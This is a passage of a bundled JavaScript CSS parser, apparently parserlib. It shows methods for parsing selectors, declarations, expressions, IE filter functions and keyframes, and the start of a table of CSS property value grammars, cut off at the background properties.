2326 } else if (tokenStream.peek() === Tokens.FUNCTION) {
2327 line = tokenStream.LT(1).startLine;
2328 col = tokenStream.LT(1).startCol - colons.length;
2329 pseudo = this._functional_pseudo();
2330 }
2331
2332 if (pseudo) {
2333 pseudo = new SelectorSubPart(colons + pseudo, "pseudo", line, col);
2334 } else {
2335 var startLine = tokenStream.LT(1).startLine,
2336 startCol = tokenStream.LT(0).startCol;
2337 throw new SyntaxError("Expected a `FUNCTION` or `IDENT` after colon at line " + startLine + ", col " + startCol + ".", startLine, startCol);
2338 }
2339 }
2340
2341 return pseudo;
2342 },
2343
2344 //CSS3 Selectors
2345 _functional_pseudo: function() {
2346 /*
2347 * functional_pseudo
2348 * : FUNCTION S* expression ')'
2349 * ;
2350 */
2351
2352 var tokenStream = this._tokenStream,
2353 value = null;
2354
2355 if (tokenStream.match(Tokens.FUNCTION)) {
2356 value = tokenStream.token().value;
2357 value += this._readWhitespace();
2358 value += this._expression();
2359 tokenStream.mustMatch(Tokens.RPAREN);
2360 value += ")";
2361 }
2362
2363 return value;
2364 },
2365
2366 //CSS3 Selectors
2367 _expression: function() {
2368 /*
2369 * expression
2370 * : [ [ PLUS | '-' | DIMENSION | NUMBER | STRING | IDENT ] S* ]+
2371 * ;
2372 */
2373
2374 var tokenStream = this._tokenStream,
2375 value = "";
2376
2377 while (tokenStream.match([Tokens.PLUS, Tokens.MINUS, Tokens.DIMENSION,
2378 Tokens.NUMBER, Tokens.STRING, Tokens.IDENT, Tokens.LENGTH,
2379 Tokens.FREQ, Tokens.ANGLE, Tokens.TIME,
2380 Tokens.RESOLUTION, Tokens.SLASH])) {
2381
2382 value += tokenStream.token().value;
2383 value += this._readWhitespace();
2384 }
2385
2386 return value.length ? value : null;
2387
2388 },
2389
2390 //CSS3 Selectors
2391 _negation: function() {
2392 /*
2393 * negation
2394 * : NOT S* negation_arg S* ')'
2395 * ;
2396 */
2397
2398 var tokenStream = this._tokenStream,
2399 line,
2400 col,
2401 value = "",
2402 arg,
2403 subpart = null;
2404
2405 if (tokenStream.match(Tokens.NOT)) {
2406 value = tokenStream.token().value;
2407 line = tokenStream.token().startLine;
2408 col = tokenStream.token().startCol;
2409 value += this._readWhitespace();
2410 arg = this._negation_arg();
2411 value += arg;
2412 value += this._readWhitespace();
2413 tokenStream.match(Tokens.RPAREN);
2414 value += tokenStream.token().value;
2415
2416 subpart = new SelectorSubPart(value, "not", line, col);
2417 subpart.args.push(arg);
2418 }
2419
2420 return subpart;
2421 },
2422
2423 //CSS3 Selectors
2424 _negation_arg: function() {
2425 /*
2426 * negation_arg
2427 * : type_selector | universal | HASH | class | attrib | pseudo
2428 * ;
2429 */
2430
2431 var tokenStream = this._tokenStream,
2432 args = [
2433 this._type_selector,
2434 this._universal,
2435 function() {
2436 return tokenStream.match(Tokens.HASH) ?
2437 new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
2438 null;
2439 },
2440 this._class,
2441 this._attrib,
2442 this._pseudo
2443 ],
2444 arg = null,
2445 i = 0,
2446 len = args.length,
2447 line,
2448 col,
2449 part;
2450
2451 line = tokenStream.LT(1).startLine;
2452 col = tokenStream.LT(1).startCol;
2453
2454 while (i < len && arg === null) {
2455
2456 arg = args[i].call(this);
2457 i++;
2458 }
2459
2460 //must be a negation arg
2461 if (arg === null) {
2462 this._unexpectedToken(tokenStream.LT(1));
2463 }
2464
2465 //it's an element name
2466 if (arg.type === "elementName") {
2467 part = new SelectorPart(arg, [], arg.toString(), line, col);
2468 } else {
2469 part = new SelectorPart(null, [arg], arg.toString(), line, col);
2470 }
2471
2472 return part;
2473 },
2474
2475 _declaration: function() {
2476
2477 /*
2478 * declaration
2479 * : property ':' S* expr prio?
2480 * | /( empty )/
2481 * ;
2482 */
2483
2484 var tokenStream = this._tokenStream,
2485 property = null,
2486 expr = null,
2487 prio = null,
2488 invalid = null,
2489 propertyName= "";
2490
2491 property = this._property();
2492 if (property !== null) {
2493
2494 tokenStream.mustMatch(Tokens.COLON);
2495 this._readWhitespace();
2496
2497 expr = this._expr();
2498
2499 //if there's no parts for the value, it's an error
2500 if (!expr || expr.length === 0) {
2501 this._unexpectedToken(tokenStream.LT(1));
2502 }
2503
2504 prio = this._prio();
2505
2506 /*
2507 * If hacks should be allowed, then only check the root
2508 * property. If hacks should not be allowed, treat
2509 * _property or *property as invalid properties.
2510 */
2511 propertyName = property.toString();
2512 if (this.options.starHack && property.hack === "*" ||
2513 this.options.underscoreHack && property.hack === "_") {
2514
2515 propertyName = property.text;
2516 }
2517
2518 try {
2519 this._validateProperty(propertyName, expr);
2520 } catch (ex) {
2521 invalid = ex;
2522 }
2523
2524 this.fire({
2525 type: "property",
2526 property: property,
2527 value: expr,
2528 important: prio,
2529 line: property.line,
2530 col: property.col,
2531 invalid: invalid
2532 });
2533
2534 return true;
2535 } else {
2536 return false;
2537 }
2538 },
2539
2540 _prio: function() {
2541 /*
2542 * prio
2543 * : IMPORTANT_SYM S*
2544 * ;
2545 */
2546
2547 var tokenStream = this._tokenStream,
2548 result = tokenStream.match(Tokens.IMPORTANT_SYM);
2549
2550 this._readWhitespace();
2551 return result;
2552 },
2553
2554 _expr: function(inFunction) {
2555 /*
2556 * expr
2557 * : term [ operator term ]*
2558 * ;
2559 */
2560
2561 var values = [],
2562 //valueParts = [],
2563 value = null,
2564 operator = null;
2565
2566 value = this._term(inFunction);
2567 if (value !== null) {
2568
2569 values.push(value);
2570
2571 do {
2572 operator = this._operator(inFunction);
2573
2574 //if there's an operator, keep building up the value parts
2575 if (operator) {
2576 values.push(operator);
2577 } /*else {
2578 //if there's not an operator, you have a full value
2579 values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
2580 valueParts = [];
2581 }*/
2582
2583 value = this._term(inFunction);
2584
2585 if (value === null) {
2586 break;
2587 } else {
2588 values.push(value);
2589 }
2590 } while (true);
2591 }
2592
2593 //cleanup
2594 /*if (valueParts.length) {
2595 values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
2596 }*/
2597
2598 return values.length > 0 ? new PropertyValue(values, values[0].line, values[0].col) : null;
2599 },
2600
2601 _term: function(inFunction) {
2602
2603 /*
2604 * term
2605 * : unary_operator?
2606 * [ NUMBER S* | PERCENTAGE S* | LENGTH S* | ANGLE S* |
2607 * TIME S* | FREQ S* | function | ie_function ]
2608 * | STRING S* | IDENT S* | URI S* | UNICODERANGE S* | hexcolor
2609 * ;
2610 */
2611
2612 var tokenStream = this._tokenStream,
2613 unary = null,
2614 value = null,
2615 endChar = null,
2616 part = null,
2617 token,
2618 line,
2619 col;
2620
2621 //returns the operator or null
2622 unary = this._unary_operator();
2623 if (unary !== null) {
2624 line = tokenStream.token().startLine;
2625 col = tokenStream.token().startCol;
2626 }
2627
2628 //exception for IE filters
2629 if (tokenStream.peek() === Tokens.IE_FUNCTION && this.options.ieFilters) {
2630
2631 value = this._ie_function();
2632 if (unary === null) {
2633 line = tokenStream.token().startLine;
2634 col = tokenStream.token().startCol;
2635 }
2636
2637 //see if it's a simple block
2638 } else if (inFunction && tokenStream.match([Tokens.LPAREN, Tokens.LBRACE, Tokens.LBRACKET])) {
2639
2640 token = tokenStream.token();
2641 endChar = token.endChar;
2642 value = token.value + this._expr(inFunction).text;
2643 if (unary === null) {
2644 line = tokenStream.token().startLine;
2645 col = tokenStream.token().startCol;
2646 }
2647 tokenStream.mustMatch(Tokens.type(endChar));
2648 value += endChar;
2649 this._readWhitespace();
2650
2651 //see if there's a simple match
2652 } else if (tokenStream.match([Tokens.NUMBER, Tokens.PERCENTAGE, Tokens.LENGTH,
2653 Tokens.ANGLE, Tokens.TIME,
2654 Tokens.FREQ, Tokens.STRING, Tokens.IDENT, Tokens.URI, Tokens.UNICODE_RANGE])) {
2655
2656 value = tokenStream.token().value;
2657 if (unary === null) {
2658 line = tokenStream.token().startLine;
2659 col = tokenStream.token().startCol;
2660 // Correct potentially-inaccurate IDENT parsing in
2661 // PropertyValuePart constructor.
2662 part = PropertyValuePart.fromToken(tokenStream.token());
2663 }
2664 this._readWhitespace();
2665 } else {
2666
2667 //see if it's a color
2668 token = this._hexcolor();
2669 if (token === null) {
2670
2671 //if there's no unary, get the start of the next token for line/col info
2672 if (unary === null) {
2673 line = tokenStream.LT(1).startLine;
2674 col = tokenStream.LT(1).startCol;
2675 }
2676
2677 //has to be a function
2678 if (value === null) {
2679
2680 /*
2681 * This checks for alpha(opacity=0) style of IE
2682 * functions. IE_FUNCTION only presents progid: style.
2683 */
2684 if (tokenStream.LA(3) === Tokens.EQUALS && this.options.ieFilters) {
2685 value = this._ie_function();
2686 } else {
2687 value = this._function();
2688 }
2689 }
2690
2691 /*if (value === null) {
2692 return null;
2693 //throw new Error("Expected identifier at line " + tokenStream.token().startLine + ", character " + tokenStream.token().startCol + ".");
2694 }*/
2695
2696 } else {
2697 value = token.value;
2698 if (unary === null) {
2699 line = token.startLine;
2700 col = token.startCol;
2701 }
2702 }
2703
2704 }
2705
2706 return part !== null ? part : value !== null ?
2707 new PropertyValuePart(unary !== null ? unary + value : value, line, col) :
2708 null;
2709
2710 },
2711
2712 _function: function() {
2713
2714 /*
2715 * function
2716 * : FUNCTION S* expr ')' S*
2717 * ;
2718 */
2719
2720 var tokenStream = this._tokenStream,
2721 functionText = null,
2722 expr = null,
2723 lt;
2724
2725 if (tokenStream.match(Tokens.FUNCTION)) {
2726 functionText = tokenStream.token().value;
2727 this._readWhitespace();
2728 expr = this._expr(true);
2729 functionText += expr;
2730
2731 //START: Horrible hack in case it's an IE filter
2732 if (this.options.ieFilters && tokenStream.peek() === Tokens.EQUALS) {
2733 do {
2734
2735 if (this._readWhitespace()) {
2736 functionText += tokenStream.token().value;
2737 }
2738
2739 //might be second time in the loop
2740 if (tokenStream.LA(0) === Tokens.COMMA) {
2741 functionText += tokenStream.token().value;
2742 }
2743
2744 tokenStream.match(Tokens.IDENT);
2745 functionText += tokenStream.token().value;
2746
2747 tokenStream.match(Tokens.EQUALS);
2748 functionText += tokenStream.token().value;
2749
2750 //functionText += this._term();
2751 lt = tokenStream.peek();
2752 while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
2753 tokenStream.get();
2754 functionText += tokenStream.token().value;
2755 lt = tokenStream.peek();
2756 }
2757 } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
2758 }
2759
2760 //END: Horrible Hack
2761
2762 tokenStream.match(Tokens.RPAREN);
2763 functionText += ")";
2764 this._readWhitespace();
2765 }
2766
2767 return functionText;
2768 },
2769
2770 _ie_function: function() {
2771
2772 /* (My own extension)
2773 * ie_function
2774 * : IE_FUNCTION S* IDENT '=' term [S* ','? IDENT '=' term]+ ')' S*
2775 * ;
2776 */
2777
2778 var tokenStream = this._tokenStream,
2779 functionText = null,
2780 lt;
2781
2782 //IE function can begin like a regular function, too
2783 if (tokenStream.match([Tokens.IE_FUNCTION, Tokens.FUNCTION])) {
2784 functionText = tokenStream.token().value;
2785
2786 do {
2787
2788 if (this._readWhitespace()) {
2789 functionText += tokenStream.token().value;
2790 }
2791
2792 //might be second time in the loop
2793 if (tokenStream.LA(0) === Tokens.COMMA) {
2794 functionText += tokenStream.token().value;
2795 }
2796
2797 tokenStream.match(Tokens.IDENT);
2798 functionText += tokenStream.token().value;
2799
2800 tokenStream.match(Tokens.EQUALS);
2801 functionText += tokenStream.token().value;
2802
2803 //functionText += this._term();
2804 lt = tokenStream.peek();
2805 while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
2806 tokenStream.get();
2807 functionText += tokenStream.token().value;
2808 lt = tokenStream.peek();
2809 }
2810 } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
2811
2812 tokenStream.match(Tokens.RPAREN);
2813 functionText += ")";
2814 this._readWhitespace();
2815 }
2816
2817 return functionText;
2818 },
2819
2820 _hexcolor: function() {
2821 /*
2822 * There is a constraint on the color that it must
2823 * have either 3 or 6 hex-digits (i.e., [0-9a-fA-F])
2824 * after the "#"; e.g., "#000" is OK, but "#abcd" is not.
2825 *
2826 * hexcolor
2827 * : HASH S*
2828 * ;
2829 */
2830
2831 var tokenStream = this._tokenStream,
2832 token = null,
2833 color;
2834
2835 if (tokenStream.match(Tokens.HASH)) {
2836
2837 //need to do some validation here
2838
2839 token = tokenStream.token();
2840 color = token.value;
2841 if (!/#[a-f0-9]{3,6}/i.test(color)) {
2842 throw new SyntaxError("Expected a hex color but found '" + color + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
2843 }
2844 this._readWhitespace();
2845 }
2846
2847 return token;
2848 },
2849
2850 //-----------------------------------------------------------------
2851 // Animations methods
2852 //-----------------------------------------------------------------
2853
2854 _keyframes: function() {
2855
2856 /*
2857 * keyframes:
2858 * : KEYFRAMES_SYM S* keyframe_name S* '{' S* keyframe_rule* '}' {
2859 * ;
2860 */
2861 var tokenStream = this._tokenStream,
2862 token,
2863 tt,
2864 name,
2865 prefix = "";
2866
2867 tokenStream.mustMatch(Tokens.KEYFRAMES_SYM);
2868 token = tokenStream.token();
2869 if (/^@\-([^\-]+)\-/.test(token.value)) {
2870 prefix = RegExp.$1;
2871 }
2872
2873 this._readWhitespace();
2874 name = this._keyframe_name();
2875
2876 this._readWhitespace();
2877 tokenStream.mustMatch(Tokens.LBRACE);
2878
2879 this.fire({
2880 type: "startkeyframes",
2881 name: name,
2882 prefix: prefix,
2883 line: token.startLine,
2884 col: token.startCol
2885 });
2886
2887 this._readWhitespace();
2888 tt = tokenStream.peek();
2889
2890 //check for key
2891 while (tt === Tokens.IDENT || tt === Tokens.PERCENTAGE) {
2892 this._keyframe_rule();
2893 this._readWhitespace();
2894 tt = tokenStream.peek();
2895 }
2896
2897 this.fire({
2898 type: "endkeyframes",
2899 name: name,
2900 prefix: prefix,
2901 line: token.startLine,
2902 col: token.startCol
2903 });
2904
2905 this._readWhitespace();
2906 tokenStream.mustMatch(Tokens.RBRACE);
2907 this._readWhitespace();
2908
2909 },
2910
2911 _keyframe_name: function() {
2912
2913 /*
2914 * keyframe_name:
2915 * : IDENT
2916 * | STRING
2917 * ;
2918 */
2919 var tokenStream = this._tokenStream;
2920
2921 tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
2922 return SyntaxUnit.fromToken(tokenStream.token());
2923 },
2924
2925 _keyframe_rule: function() {
2926
2927 /*
2928 * keyframe_rule:
2929 * : key_list S*
2930 * '{' S* declaration [ ';' S* declaration ]* '}' S*
2931 * ;
2932 */
2933 var keyList = this._key_list();
2934
2935 this.fire({
2936 type: "startkeyframerule",
2937 keys: keyList,
2938 line: keyList[0].line,
2939 col: keyList[0].col
2940 });
2941
2942 this._readDeclarations(true);
2943
2944 this.fire({
2945 type: "endkeyframerule",
2946 keys: keyList,
2947 line: keyList[0].line,
2948 col: keyList[0].col
2949 });
2950
2951 },
2952
2953 _key_list: function() {
2954
2955 /*
2956 * key_list:
2957 * : key [ S* ',' S* key]*
2958 * ;
2959 */
2960 var tokenStream = this._tokenStream,
2961 keyList = [];
2962
2963 //must be least one key
2964 keyList.push(this._key());
2965
2966 this._readWhitespace();
2967
2968 while (tokenStream.match(Tokens.COMMA)) {
2969 this._readWhitespace();
2970 keyList.push(this._key());
2971 this._readWhitespace();
2972 }
2973
2974 return keyList;
2975 },
2976
2977 _key: function() {
2978 /*
2979 * There is a restriction that IDENT can be only "from" or "to".
2980 *
2981 * key
2982 * : PERCENTAGE
2983 * | IDENT
2984 * ;
2985 */
2986
2987 var tokenStream = this._tokenStream,
2988 token;
2989
2990 if (tokenStream.match(Tokens.PERCENTAGE)) {
2991 return SyntaxUnit.fromToken(tokenStream.token());
2992 } else if (tokenStream.match(Tokens.IDENT)) {
2993 token = tokenStream.token();
2994
2995 if (/from|to/i.test(token.value)) {
2996 return SyntaxUnit.fromToken(token);
2997 }
2998
2999 tokenStream.unget();
3000 }
3001
3002 //if it gets here, there wasn't a valid token, so time to explode
3003 this._unexpectedToken(tokenStream.LT(1));
3004 },
3005
3006 //-----------------------------------------------------------------
3007 // Helper methods
3008 //-----------------------------------------------------------------
3009
3010 /**
3011 * Not part of CSS grammar, but useful for skipping over
3012 * combination of white space and HTML-style comments.
3013 * @return {void}
3014 * @method _skipCruft
3015 * @private
3016 */
3017 _skipCruft: function() {
3018 while (this._tokenStream.match([Tokens.S, Tokens.CDO, Tokens.CDC])) {
3019 //noop
3020 }
3021 },
3022
3023 /**
3024 * Not part of CSS grammar, but this pattern occurs frequently
3025 * in the official CSS grammar. Split out here to eliminate
3026 * duplicate code.
3027 * @param {Boolean} checkStart Indicates if the rule should check
3028 * for the left brace at the beginning.
3029 * @param {Boolean} readMargins Indicates if the rule should check
3030 * for margin patterns.
3031 * @return {void}
3032 * @method _readDeclarations
3033 * @private
3034 */
3035 _readDeclarations: function(checkStart, readMargins) {
3036 /*
3037 * Reads the pattern
3038 * S* '{' S* declaration [ ';' S* declaration ]* '}' S*
3039 * or
3040 * S* '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
3041 * Note that this is how it is described in CSS3 Paged Media, but is actually incorrect.
3042 * A semicolon is only necessary following a declaration if there's another declaration
3043 * or margin afterwards.
3044 */
3045 var tokenStream = this._tokenStream,
3046 tt;
3047
3048
3049 this._readWhitespace();
3050
3051 if (checkStart) {
3052 tokenStream.mustMatch(Tokens.LBRACE);
3053 }
3054
3055 this._readWhitespace();
3056
3057 try {
3058
3059 while (true) {
3060
3061 if (tokenStream.match(Tokens.SEMICOLON) || (readMargins && this._margin())) {
3062 //noop
3063 } else if (this._declaration()) {
3064 if (!tokenStream.match(Tokens.SEMICOLON)) {
3065 break;
3066 }
3067 } else {
3068 break;
3069 }
3070
3071 //if ((!this._margin() && !this._declaration()) || !tokenStream.match(Tokens.SEMICOLON)){
3072 // break;
3073 //}
3074 this._readWhitespace();
3075 }
3076
3077 tokenStream.mustMatch(Tokens.RBRACE);
3078 this._readWhitespace();
3079
3080 } catch (ex) {
3081 if (ex instanceof SyntaxError && !this.options.strict) {
3082
3083 //fire error event
3084 this.fire({
3085 type: "error",
3086 error: ex,
3087 message: ex.message,
3088 line: ex.line,
3089 col: ex.col
3090 });
3091
3092 //see if there's another declaration
3093 tt = tokenStream.advance([Tokens.SEMICOLON, Tokens.RBRACE]);
3094 if (tt === Tokens.SEMICOLON) {
3095 //if there's a semicolon, then there might be another declaration
3096 this._readDeclarations(false, readMargins);
3097 } else if (tt !== Tokens.RBRACE) {
3098 //if there's a right brace, the rule is finished so don't do anything
3099 //otherwise, rethrow the error because it wasn't handled properly
3100 throw ex;
3101 }
3102
3103 } else {
3104 //not a syntax error, rethrow it
3105 throw ex;
3106 }
3107 }
3108
3109 },
3110
3111 /**
3112 * In some cases, you can end up with two white space tokens in a
3113 * row. Instead of making a change in every function that looks for
3114 * white space, this function is used to match as much white space
3115 * as necessary.
3116 * @method _readWhitespace
3117 * @return {String} The white space if found, empty string if not.
3118 * @private
3119 */
3120 _readWhitespace: function() {
3121
3122 var tokenStream = this._tokenStream,
3123 ws = "";
3124
3125 while (tokenStream.match(Tokens.S)) {
3126 ws += tokenStream.token().value;
3127 }
3128
3129 return ws;
3130 },
3131
3132
3133 /**
3134 * Throws an error when an unexpected token is found.
3135 * @param {Object} token The token that was found.
3136 * @method _unexpectedToken
3137 * @return {void}
3138 * @private
3139 */
3140 _unexpectedToken: function(token) {
3141 throw new SyntaxError("Unexpected token '" + token.value + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
3142 },
3143
3144 /**
3145 * Helper method used for parsing subparts of a style sheet.
3146 * @return {void}
3147 * @method _verifyEnd
3148 * @private
3149 */
3150 _verifyEnd: function() {
3151 if (this._tokenStream.LA(1) !== Tokens.EOF) {
3152 this._unexpectedToken(this._tokenStream.LT(1));
3153 }
3154 },
3155
3156 //-----------------------------------------------------------------
3157 // Validation methods
3158 //-----------------------------------------------------------------
3159 _validateProperty: function(property, value) {
3160 Validation.validate(property, value);
3161 },
3162
3163 //-----------------------------------------------------------------
3164 // Parsing methods
3165 //-----------------------------------------------------------------
3166
3167 parse: function(input) {
3168 this._tokenStream = new TokenStream(input, Tokens);
3169 this._stylesheet();
3170 },
3171
3172 parseStyleSheet: function(input) {
3173 //just passthrough
3174 return this.parse(input);
3175 },
3176
3177 parseMediaQuery: function(input) {
3178 this._tokenStream = new TokenStream(input, Tokens);
3179 var result = this._media_query();
3180
3181 //if there's anything more, then it's an invalid selector
3182 this._verifyEnd();
3183
3184 //otherwise return result
3185 return result;
3186 },
3187
3188 /**
3189 * Parses a property value (everything after the semicolon).
3190 * @return {parserlib.css.PropertyValue} The property value.
3191 * @throws parserlib.util.SyntaxError If an unexpected token is found.
3192 * @method parserPropertyValue
3193 */
3194 parsePropertyValue: function(input) {
3195
3196 this._tokenStream = new TokenStream(input, Tokens);
3197 this._readWhitespace();
3198
3199 var result = this._expr();
3200
3201 //okay to have a trailing white space
3202 this._readWhitespace();
3203
3204 //if there's anything more, then it's an invalid selector
3205 this._verifyEnd();
3206
3207 //otherwise return result
3208 return result;
3209 },
3210
3211 /**
3212 * Parses a complete CSS rule, including selectors and
3213 * properties.
3214 * @param {String} input The text to parser.
3215 * @return {Boolean} True if the parse completed successfully, false if not.
3216 * @method parseRule
3217 */
3218 parseRule: function(input) {
3219 this._tokenStream = new TokenStream(input, Tokens);
3220
3221 //skip any leading white space
3222 this._readWhitespace();
3223
3224 var result = this._ruleset();
3225
3226 //skip any trailing white space
3227 this._readWhitespace();
3228
3229 //if there's anything more, then it's an invalid selector
3230 this._verifyEnd();
3231
3232 //otherwise return result
3233 return result;
3234 },
3235
3236 /**
3237 * Parses a single CSS selector (no comma)
3238 * @param {String} input The text to parse as a CSS selector.
3239 * @return {Selector} An object representing the selector.
3240 * @throws parserlib.util.SyntaxError If an unexpected token is found.
3241 * @method parseSelector
3242 */
3243 parseSelector: function(input) {
3244
3245 this._tokenStream = new TokenStream(input, Tokens);
3246
3247 //skip any leading white space
3248 this._readWhitespace();
3249
3250 var result = this._selector();
3251
3252 //skip any trailing white space
3253 this._readWhitespace();
3254
3255 //if there's anything more, then it's an invalid selector
3256 this._verifyEnd();
3257
3258 //otherwise return result
3259 return result;
3260 },
3261
3262 /**
3263 * Parses an HTML style attribute: a set of CSS declarations
3264 * separated by semicolons.
3265 * @param {String} input The text to parse as a style attribute
3266 * @return {void}
3267 * @method parseStyleAttribute
3268 */
3269 parseStyleAttribute: function(input) {
3270 input += "}"; // for error recovery in _readDeclarations()
3271 this._tokenStream = new TokenStream(input, Tokens);
3272 this._readDeclarations();
3273 }
3274 };
3275
3276 //copy over onto prototype
3277 for (prop in additions) {
3278 if (Object.prototype.hasOwnProperty.call(additions, prop)) {
3279 proto[prop] = additions[prop];
3280 }
3281 }
3282
3283 return proto;
3284}();
3285
3286
3287/*
3288nth
3289 : S* [ ['-'|'+']? INTEGER? {N} [ S* ['-'|'+'] S* INTEGER ]? |
3290 ['-'|'+']? INTEGER | {O}{D}{D} | {E}{V}{E}{N} ] S*
3291 ;
3292*/
3293
3294},{"../util/EventTarget":23,"../util/SyntaxError":25,"../util/SyntaxUnit":26,"./Combinator":2,"./MediaFeature":4,"./MediaQuery":5,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./TokenStream":17,"./Tokens":18,"./Validation":19}],7:[function(require,module,exports){
3295"use strict";
3296
3297/* exported Properties */
3298
3299var Properties = module.exports = {
3300 __proto__: null,
3301
3302 //A
3303 "align-items" : "flex-start | flex-end | center | baseline | stretch",
3304 "align-content" : "flex-start | flex-end | center | space-between | space-around | stretch",
3305 "align-self" : "auto | flex-start | flex-end | center | baseline | stretch",
3306 "all" : "initial | inherit | unset",
3307 "-webkit-align-items" : "flex-start | flex-end | center | baseline | stretch",
3308 "-webkit-align-content" : "flex-start | flex-end | center | space-between | space-around | stretch",
3309 "-webkit-align-self" : "auto | flex-start | flex-end | center | baseline | stretch",
3310 "alignment-adjust" : "auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>",
3311 "alignment-baseline" : "auto | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3312 "animation" : 1,
3313 "animation-delay" : "<time>#",
3314 "animation-direction" : "<single-animation-direction>#",
3315 "animation-duration" : "<time>#",
3316 "animation-fill-mode" : "[ none | forwards | backwards | both ]#",
3317 "animation-iteration-count" : "[ <number> | infinite ]#",
3318 "animation-name" : "[ none | <single-animation-name> ]#",
3319 "animation-play-state" : "[ running | paused ]#",
3320 "animation-timing-function" : 1,
3321
3322 //vendor prefixed
3323 "-moz-animation-delay" : "<time>#",
3324 "-moz-animation-direction" : "[ normal | alternate ]#",
3325 "-moz-animation-duration" : "<time>#",
3326 "-moz-animation-iteration-count" : "[ <number> | infinite ]#",
3327 "-moz-animation-name" : "[ none | <single-animation-name> ]#",
3328 "-moz-animation-play-state" : "[ running | paused ]#",
3329
3330 "-ms-animation-delay" : "<time>#",
3331 "-ms-animation-direction" : "[ normal | alternate ]#",
3332 "-ms-animation-duration" : "<time>#",
3333 "-ms-animation-iteration-count" : "[ <number> | infinite ]#",
3334 "-ms-animation-name" : "[ none | <single-animation-name> ]#",
3335 "-ms-animation-play-state" : "[ running | paused ]#",
3336
3337 "-webkit-animation-delay" : "<time>#",
3338 "-webkit-animation-direction" : "[ normal | alternate ]#",
3339 "-webkit-animation-duration" : "<time>#",
3340 "-webkit-animation-fill-mode" : "[ none | forwards | backwards | both ]#",
3341 "-webkit-animation-iteration-count" : "[ <number> | infinite ]#",
3342 "-webkit-animation-name" : "[ none | <single-animation-name> ]#",
3343 "-webkit-animation-play-state" : "[ running | paused ]#",
3344
3345 "-o-animation-delay" : "<time>#",
3346 "-o-animation-direction" : "[ normal | alternate ]#",
3347 "-o-animation-duration" : "<time>#",
3348 "-o-animation-iteration-count" : "[ <number> | infinite ]#",
3349 "-o-animation-name" : "[ none | <single-animation-name> ]#",
3350 "-o-animation-play-state" : "[ running | paused ]#",
3351
3352 "appearance" : "none | auto",
3353 "-moz-appearance" : "none | button | button-arrow-down | button-arrow-next | button-arrow-previous | button-arrow-up | button-bevel | button-focus | caret | checkbox | checkbox-container | checkbox-label | checkmenuitem | dualbutton | groupbox | listbox | listitem | menuarrow | menubar | menucheckbox | menuimage | menuitem | menuitemtext | menulist | menulist-button | menulist-text | menulist-textfield | menupopup | menuradio | menuseparator | meterbar | meterchunk | progressbar | progressbar-vertical | progresschunk | progresschunk-vertical | radio | radio-container | radio-label | radiomenuitem | range | range-thumb | resizer | resizerpanel | scale-horizontal | scalethumbend | scalethumb-horizontal | scalethumbstart | scalethumbtick | scalethumb-vertical | scale-vertical | scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical | searchfield | separator | sheet | spinner | spinner-downbutton | spinner-textfield | spinner-upbutton | splitter | statusbar | statusbarpanel | tab | tabpanel | tabpanels | tab-scroll-arrow-back | tab-scroll-arrow-forward | textfield | textfield-multiline | toolbar | toolbarbutton | toolbarbutton-dropdown | toolbargripper | toolbox | tooltip | treeheader | treeheadercell | treeheadersortarrow | treeitem | treeline | treetwisty | treetwistyopen | treeview | -moz-mac-unified-toolbar | -moz-win-borderless-glass | -moz-win-browsertabbar-toolbox | -moz-win-communicationstext | -moz-win-communications-toolbox | -moz-win-exclude-glass | -moz-win-glass | -moz-win-mediatext | -moz-win-media-toolbox | -moz-window-button-box | -moz-window-button-box-maximized | -moz-window-button-close | -moz-window-button-maximize | -moz-window-button-minimize | -moz-window-button-restore | -moz-window-frame-bottom | -moz-window-frame-left | -moz-window-frame-right | -moz-window-titlebar | -moz-window-titlebar-maximized",
3354 "-ms-appearance" : "none | icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
3355 "-webkit-appearance" : "none | button | button-bevel | caps-lock-indicator | caret | checkbox | default-button | listbox | listitem | media-fullscreen-button | media-mute-button | media-play-button | media-seek-back-button | media-seek-forward-button | media-slider | media-sliderthumb | menulist | menulist-button | menulist-text | menulist-textfield | push-button | radio | searchfield | searchfield-cancel-button | searchfield-decoration | searchfield-results-button | searchfield-results-decoration | slider-horizontal | slider-vertical | sliderthumb-horizontal | sliderthumb-vertical | square-button | textarea | textfield | scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbargripper-horizontal | scrollbargripper-vertical | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical",
3356 "-o-appearance" : "none | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
3357
3358 "azimuth" : "<azimuth>",
3359
3360 //B
3361 "backface-visibility" : "visible | hidden",
3362 "background" : 1,
3363 "background-attachment" : "<attachment>#",
3364 "background-clip" : "<box>#",
3365 "background-color" : "<color>",
3366 "background-image" : "<bg-image>#",
3367 "background-origin" : "<box>#",
3368 "background-position" : "<bg-position>",
3369 "background-repeat" : "<repeat-style>#",
3370 "background-size" : "<bg-size>#",
